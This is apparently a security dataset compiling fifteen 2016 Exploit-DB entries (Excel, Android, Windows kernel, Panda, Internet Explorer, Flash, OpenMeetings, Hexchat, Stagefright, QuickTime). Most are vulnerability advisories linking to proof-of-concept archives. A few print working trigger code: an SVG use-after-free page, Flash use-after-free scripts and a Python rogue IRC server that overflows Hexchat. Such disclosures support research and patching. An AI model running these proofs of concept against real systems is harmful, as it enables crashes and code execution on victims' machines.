QLWD/code_shield huggingface dataset:
标题: Microsoft Excel - Out-of-Bounds Read Code Execution (MS16-042) EDB-ID: 39694 CVE: 2016-0122 类型: LOCAL 平台: WINDOWS 发布日期: 2016-04-14 漏洞利用脚本: #######################################################################################

# Title: Microsoft Office Excel Out-of-Bounds Read Remote Code Execution
# Application: Microsoft Office Excel
# Affected Products: Microsoft Office Excel 2007,2010,2013,2016
# Software Link: https://products.office.com/en-ca/excel
# Date: April 12, 2016
# CVE: CVE-2016-0122 (MS16-042)
# Author: Sébastien Morin from COSIG
# Contact: https://twitter.com/COSIG_ (@COSIG_)
# Personal contact: https://smsecurity.net/; https://twitter.com/SebMorin1 (@SebMorin1)

#######################################################################################

===================
Introduction:
===================

Microsoft Excel is a spreadsheet developed by Microsoft for Windows, Mac OS X, and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications. It has been a very widely applied spreadsheet for these platforms, especially since version 5 in 1993, and it has replaced Lotus 1-2-3 as the industry standard for spreadsheets. Excel forms part of Microsoft Office.

(https://en.wikipedia.org/wiki/Microsoft_Excel)

#######################################################################################

===================
Report Timeline:
===================

2016-02-06: Sébastien Morin from COSIG report the vulnerability to MSRC.
2016-02-16: MSRC confirm the vulnerability.
2016-04-12: Microsoft fixed the issue (MS16-042).
2016-04-13: Advisory released.
#######################################################################################

===================
Technical details:
===================

This vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file (.xlsm). An attacker who successfully exploited the vulnerabilities could run arbitrary code in the context of the current user.

#######################################################################################

==========
POC:
==========

https://smsecurity.net/wp-content/uploads/2016/04/Microsoft_Office_Excel_Out-of-Bounds_Read_RCE.xlsm
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39694.zip

####################################################################################### URL: https://www.exploit-db.com/exploits/39694
标题: Google Android - IOMX 'getConfig'/'getParameter' Information Disclosure EDB-ID: 39685 CVE: 2016-2417 类型: DOS 平台: ANDROID 发布日期: 2016-04-11 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=711

Android: Information Disclosure in IOMX getConfig/getParameter
Platform: Verified on google/razor/flo:6.0.1/MMB29O/2459718:user/release-keys
Class: Information Disclosure

Summary:
The GET_CONFIG and GET_PARAMETER calls on IOMX are vulnerable to an information disclosure of uninitialized heap memory. This could be used by an attacker to break ASLR in the media server process by reading out heap memory which contains useful address information.

Description:
The relevant code in frameworks/av/media/libmedia/IOMX.cpp is:

node_id node = (node_id)data.readInt32();
OMX_INDEXTYPE index = static_cast<OMX_INDEXTYPE>(data.readInt32());

size_t size = data.readInt64();

void *params = malloc(size);
data.read(params, size); <- Read in the buffer from the parcel to initialize


// SNIP - getParameter etc.

if ((code == GET_PARAMETER || code == GET_CONFIG) && err == OK) {
  reply->write(params, size); <- Write back entire buffer to caller
}

The vulnerability stems from the fact that Parcel::read(void* outData, size_t len) fails quickly if it doesn’t have sufficient data in the parcel to satisfy the request leaving the outData buffer untouched. As long as the call to getParameter or getConfig succeed then the entire, mostly uninitialized buffer will be returned. For example if the parameter is only 8 bytes in size but the caller passes a size field of 128 bytes (but doesn’t write those 128 bytes into the parcel) then the 120 bytes following in the heap will be returned uninitialized. 

Arguably there’s also a potential NULL pointer dereference here depending on the implementation as the call to malloc can fail with an arbitrary size value. But I think later functions handle the NULL case. 
I’d suggest that the result of data.read should be checked to ensure all the data has been read correctly.

Proof of Concept:
I’ve provided a PoC which exploits the issue and prints a 64 byte buffer (with 56 bytes uninitialized) to logcat. It uses the OMX.qcom.video.decoder.mpeg4 component. I’ve only tested this on a Nexus 5 and Nexus 7 devices, but I’m guessing that decoder should be everywhere. You should be able to create default Android Studio project and call OMXInfoDisclosurePoC.testOMX
from the Main Activity. When run you should see a line in logcat similar to:

E/MyClass: allocateNode Error: 0
E/MyClass: Allocate Node: 42
E/MyClass: Result: 040000000101000XXXXXXXXXX

Where XXXXXX should be uninitialized memory from the heap.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39685.zip URL: https://www.exploit-db.com/exploits/39685
标题: Microsoft Windows Kernel - 'win32k.sys' Local Privilege Escalation (MS14-058) EDB-ID: 39666 CVE: 2014-4113 类型: LOCAL 平台: WINDOWS 发布日期: 2016-04-05 漏洞利用脚本: Sources:
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf
https://github.com/sam-b/CVE-2014-4113

EDB Mirror: https://www.exploit-db.com/docs/english/39665-windows-kernel-exploitation-101-exploiting-cve-2014-4113.pdf


Trigger and exploit code for CVE-2014-4113:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39666.zip URL: https://www.exploit-db.com/exploits/39666
标题: Panda Security URL Filtering < 4.3.1.9 - Local Privilege Escalation EDB-ID: 39670 CVE: 2015-7378 类型: LOCAL 平台: WINDOWS 发布日期: 2016-04-06 漏洞利用脚本: * CVE: CVE-2015-7378
* Vendor: Panda Security
* Reported by: Kyriakos Economou
* Date of Release: 05/04/2016
* Affected Products: Multiple
* Affected Version: Panda Security URL Filtering < v4.3.1.9
* Fixed Version: Panda Security URL Filtering v4.3.1.9

Description:
All Panda Security 2016 Home User products for Windows are vulnerable to privilege escalation,  which allows a local attacker to execute code as SYSTEM from any account (Guest included), thus completely compromising the affected host.


Affected Products:

Panda Gold Protection 2016 v16.0.1
Panda Global Protection 2016 v16.0.1
Panda Internet Security 2016 v16.0.1
Panda Antivirus Pro 2016 v16.0.1
Panda Free Antivirus v16.0.1


Impact:

A local attacker can elevate his privileges from any user account and execute code as SYSTEM.


Technical Details:

By default all the aforementioned products install (current version:4.3.0.4), which creates a service named 'panda_url_filtering' that runs as SYSTEM.
The executable modules are by default installed in "C:\ProgramData\Panda Security URL Filtering" directory.
However, the ACLs assigned to the directory itself, and to the rest of the installed files, allow any user to modify those files and/or substitute them with malicious ones.
A local attacker can easily execute code with SYSTEM account privileges by modifying or substituting the main executable  module of this service, 'Panda_URL_Filteringb.exe', which will run at the next reboot of the host.


Disclosure Log:
Vendor Contacted: 28/09/2015
Public Disclosure: 05/04/2016

Copyright:
Copyright (c) Nettitude Limited 2016, All rights reserved worldwide.

Disclaimer:
The information herein contained may change without notice. Any use of this information is at the user's risk and  discretion and is provided with no warranties. Nettitude and the author cannot be held liable for any impact resulting  from the use of this information.

Kyriakos Economou
Vulnerability Researcher URL: https://www.exploit-db.com/exploits/39670
标题: Panda Endpoint Administration Agent < 7.50.00 - Local Privilege Escalation EDB-ID: 39671 CVE: 2016-3943 类型: LOCAL 平台: WINDOWS 发布日期: 2016-04-06 漏洞利用脚本: * CVE: CVE-2016-3943
* Vendor: Panda Security
* Reported by: Kyriakos Economou
* Date of Release: 05/04/2016
* Affected Products: Multiple
* Affected Version: Panda Endpoint Administration Agent < v7.50.00
* Fixed Version: Panda Endpoint Administration Agent v7.50.00


Description:
Panda Endpoint Administration Agent v7.30.2 allows a local attacker to elevate his privileges from any account type (Guest included) and execute code as SYSTEM, thus completely compromising the affected host.


Affected Products:

Any Panda Security For Business products for Windows using this Agent service are vulnerable.


Technical Details:

Upon installing some Panda Security for Business products for Windows, such as Panda Endpoint Protection/Plus, a service named as 'Panda Endpoint Administration Agent' is installed in the host. This service runs  under the SYSTEM account. However, due to weak ACLs set to the installation directory ("C:\Program Files\Panda Security\WaAgent") of this application and its subdirectories, any user can modify or overwrite any executable module (dynamic link libraries and executables) installed in those directories.


Impact:

A local attacker can elevate his privileges from any user account and execute code as SYSTEM.


Disclosure Log:
Vendor Contacted: 12/01/2016
Public Disclosure: 05/04/2016

Copyright:
Copyright (c) Nettitude Limited 2016, All rights reserved worldwide.

Disclaimer:
The information herein contained may change without notice. Any use of this information is at the user's risk and discretion and is provided with no warranties. Nettitude and the author cannot be held liable for any impact resulting from the use of this information.

Kyriakos Economou
Vulnerability Researcher URL: https://www.exploit-db.com/exploits/39671
标题: Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023) EDB-ID: 39663 CVE: 2016-0111 类型: DOS 平台: WINDOWS 发布日期: 2016-04-05 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=691

Minimized PoC:
-->

<svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink">
<pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern>
<script><![CDATA[
  function handler() {
    inner.setAttribute("viewBox");
  }
  outer.addEventListener("DOMAttrModified", function () { handler(); });
  doc = document.implementation.createDocument("", "", null);
  doc.adoptNode(rect.attributes[0]);
]]></script>
</svg>

<!--
Backtrace for reference:

2:052:x86> k 10
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571
0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748
0bb14bdc 67fea3dc verifier_67fe0000!VerifierStopMessage+0x74
0bb14c40 67fe733d verifier_67fe0000!AVrfpDphReportCorruptedBlock+0x10c
0bb14ca4 67fe7495 verifier_67fe0000!AVrfpDphFindBusyMemoryNoCheck+0x7d
0bb14cc8 67feb651 verifier_67fe0000!AVrfpDphFindBusyMemory+0x15
0bb14ce0 67ff0b12 verifier_67fe0000!AvrfpDphCheckPageHeapAllocation+0x41
0bb14cf0 67f93246 verifier_67fe0000!VerifierCheckPageHeapAllocation+0x12
0bb14d4c 60dca53f vfbasics+0x13246
0bb14d68 604cce4e MSHTML!MemoryProtection::HeapFree+0x46
0bb14d70 60b07866 MSHTML!ProcessHeapFree+0x10
0bb14d88 60baac6b MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRe
ct>+0xb6
0bb14de8 60e18b69 MSHTML!PROPERTYDESC::HandleStringProperty+0x110
0bb14e14 607e30e6 MSHTML!PROPERTYDESC::CallHandler+0x855996
0bb14e54 60b83323 MSHTML!CElement::SetAttributeFromPropDesc+0xbe
0bb14ee4 607e2f44 MSHTML!CElement::ie9_setAttributeNSInternal+0x2ee
--> URL: https://www.exploit-db.com/exploits/39663
标题: Microsoft Windows Kernel - Bitmap Use-After-Free EDB-ID: 39647 CVE: 2016-0094 类型: DOS 平台: WINDOWS 发布日期: 2016-04-01 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=686

The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crashes are triggering in multiple different ways (two examples attached).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39647.zip URL: https://www.exploit-db.com/exploits/39647
标题: Adobe Flash - URLStream.readObject Use-After-Free EDB-ID: 39649 CVE: 2015-8048 类型: DOS 平台: MULTIPLE 发布日期: 2016-04-01 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611

There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.

A minimal PoC is as follows:

//In main

flash.net.registerClassAlias("bob", myclass);
   
   
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
 
function func(){ 
 trace(u.readObject());
 }

// in myclass

static public var u;
  
public function myclass()
{
 u.close();
}

A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39649.zip URL: https://www.exploit-db.com/exploits/39649
标题: Adobe Flash - textfield.maxChars Use-After-Free EDB-ID: 39650 CVE: 2015-8426 类型: DOS 平台: MULTIPLE 发布日期: 2016-04-01 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581

There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
 mc.removeMovieClip();

        // Fix heap here

 return 7;
 
 }

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39650.zip URL: https://www.exploit-db.com/exploits/39650
标题: Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal EDB-ID: 39642 CVE: 2016-0784 类型: WEBAPPS 平台: LINUX 发布日期: 2016-03-31 漏洞利用脚本: Severity: Moderate

Vendor: The Apache Software Foundation

Versions Affected: Apache OpenMeetings 1.9.x - 3.1.0

Description:
The Import/Export System Backups functionality in the OpenMeetings
Administration menu (http://domain:5080/openmeetings/#admin/backup) is vulnerable to path
traversal via specially crafted file names within ZIP archives. 

By uploading an archive containing a file named ../../../public/hello.txt will write
the file "hello.txt" to the http://domain:5080/openmeetings/public/ directory. This could
be used to, for example, overwrite the /usr/bin/convert file (or any other 3 rd party
integrated executable) with a shell script, which would be executed the next time an image
file is uploaded and imagemagick is invoked.

All users are recommended to upgrade to Apache OpenMeetings 3.1.1

Credit: This issue was identified by Andreas Lindh

Apache OpenMeetings Team

-- 
WBR
Maxim aka solomax URL: https://www.exploit-db.com/exploits/39642
标题: Microsoft Windows Kernel - 'NtGdiGetTextExtentExW' Out-of-Bounds Memory Read EDB-ID: 39648 CVE: 2016-0093 类型: DOS 平台: WINDOWS 发布日期: 2016-04-01 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=685

The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crash is due accessing memory past the end of a buffer.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39648.zip URL: https://www.exploit-db.com/exploits/39648
标题: Adobe Flash - Color.setTransform Use-After-Free EDB-ID: 39652 CVE: 2015-5574 类型: DOS 平台: MULTIPLE 发布日期: 2016-04-01 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
 trace("here");
 tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip URL: https://www.exploit-db.com/exploits/39652
标题: Hexchat IRC Client 2.11.0 - CAP LS Handling Buffer Overflow EDB-ID: 39657 CVE: 2016-2233 类型: DOS 平台: MULTIPLE 发布日期: 2016-04-04 漏洞利用脚本: #!/usr/bin/python
#
####################
# Meta information #
####################
# Exploit Title: Hexchat IRC client - CAP LS Handling Stack Buffer Overflow
# Date: 2016-02-07
# Exploit Author: PizzaHatHacker
# Vendor Homepage: https://hexchat.github.io/index.html
# Software Link: https://hexchat.github.io/downloads.html
# Version: 2.11.0
# Tested on: HexChat 2.11.0 & Linux (64 bits) + HexChat 2.10.2 & Windows 8.1 (64 bits)
# CVE : CVE-2016-2233

#############################
# Vulnerability description #
#############################
'''
Stack Buffer Overflow in src/common/inbound.c :
void inbound_cap_ls (server *serv, char *nick, char *extensions_str, const message_tags_data *tags_data)

In this function, Hexchat IRC client receives the available extensions from 
the IRC server (CAP LS message) and constructs the request string to indicate
later which one to use (CAP REQ message).
This request string is stored in the fixed size (256 bytes) byte array
'buffer'. It has enough space for all possible options combined, BUT
it will overflow if some options are repeated.

CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CVSS Base Score : 7.5
Impact Subscore : 6.4
Exploitability Subscore : 10
'''

####################
# Proof of Concept #
####################
'''
* Install Hexchat IRC Client
* Run this Python script on a (server) machine
* Connect to the server running the script
* Results : Hexchat will crash (most probably access violation/segmentation fault)
'''

import socket
import sys
import time

# Exploit configuration
HOST = ''
PORT = 6667
SERVERNAME = 'irc.example.com'
OPTIONS = 'multi-prefix ' * 100 # 13*100 = 1300 bytes > 256 bytes

# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
 sock.bind((HOST, PORT)) # Bind to port
 sock.listen(0) # Start listening on socket
 
 print 'Server listening, waiting for connection...'
 conn, addr = sock.accept()
 
 print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'
 conn.send(':' + SERVERNAME + ' CAP * LS :' + OPTIONS + '\r\n')
 
 # Wait and close socket
 conn.recv(256)
 sock.close()
 
 print 'Done.'

except socket.error as msg:
 print 'Network error : ' + str(msg[0]) + ' ' + msg[1] URL: https://www.exploit-db.com/exploits/39657
标题: Google Android 5.0.1 - Metaphor Stagefright (ASLR Bypass) EDB-ID: 39640 CVE: 2015-3864 类型: REMOTE 平台: ANDROID 发布日期: 2016-03-30 漏洞利用脚本: Source: https://github.com/NorthBit/Metaphor

Metaphor - Stagefright with ASLR bypass By Hanan Be'er from NorthBit Ltd.

Link to whitepaper: https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf

Twitter: https://twitter.com/High_Byte

Metaphor's source code is now released! The source include a PoC that generates MP4 exploits in real-time and bypassing ASLR. The PoC includes lookup tables for Nexus 5 Build LRX22C with Android 5.0.1. Server-side of the PoC include simple PHP scripts that run the exploit generator - I'm using XAMPP to serve gzipped MP4 files. The attack page is index.php.

The exploit generator is written in Python and used by the PHP code.

usage: metaphor.py [-h] [-c CONFIG] -o OUTPUT {leak,rce,suicide} ...

positional arguments:
  {leak,rce,suicide}    Type of exploit to generate

optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG, --config CONFIG
                        Override exploit configuration
  -o OUTPUT, --output OUTPUT
Credits: To the NorthBit team E.P. - My shining paladin, for assisting in boosting this project to achieve all the goals.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39640.zip URL: https://www.exploit-db.com/exploits/39640
标题: Apple QuickTime < 7.7.79.80.95 - '.FPX' Parsing Memory Corruption (1) EDB-ID: 39633 CVE: 2016-1767 类型: DOS 平台: MULTIPLE 发布日期: 2016-03-30 漏洞利用脚本: #####################################################################################

Application: Apple Quicktime

Platforms: Windows, OSX

Versions: before version 7.7.79.80.95

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1767

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-01-07: Francis Provencher from COSIG report issue to Apple security team;
2016-01-13: Apple security team  confirmed this issue;
2016-03-22: Apple fixed this issue;

https://support.apple.com/en-us/HT206167
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

By providing a malformed FPX file, an attacker is able to create controlled memory corruption, and execute code in the context of the current user.

#####################################################################################

===========

4) POC

===========

Proof of Concept:
http://protekresearchlab.com/exploits/COSIG-2016-14.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39633.zip

############################################################################### URL: https://www.exploit-db.com/exploits/39633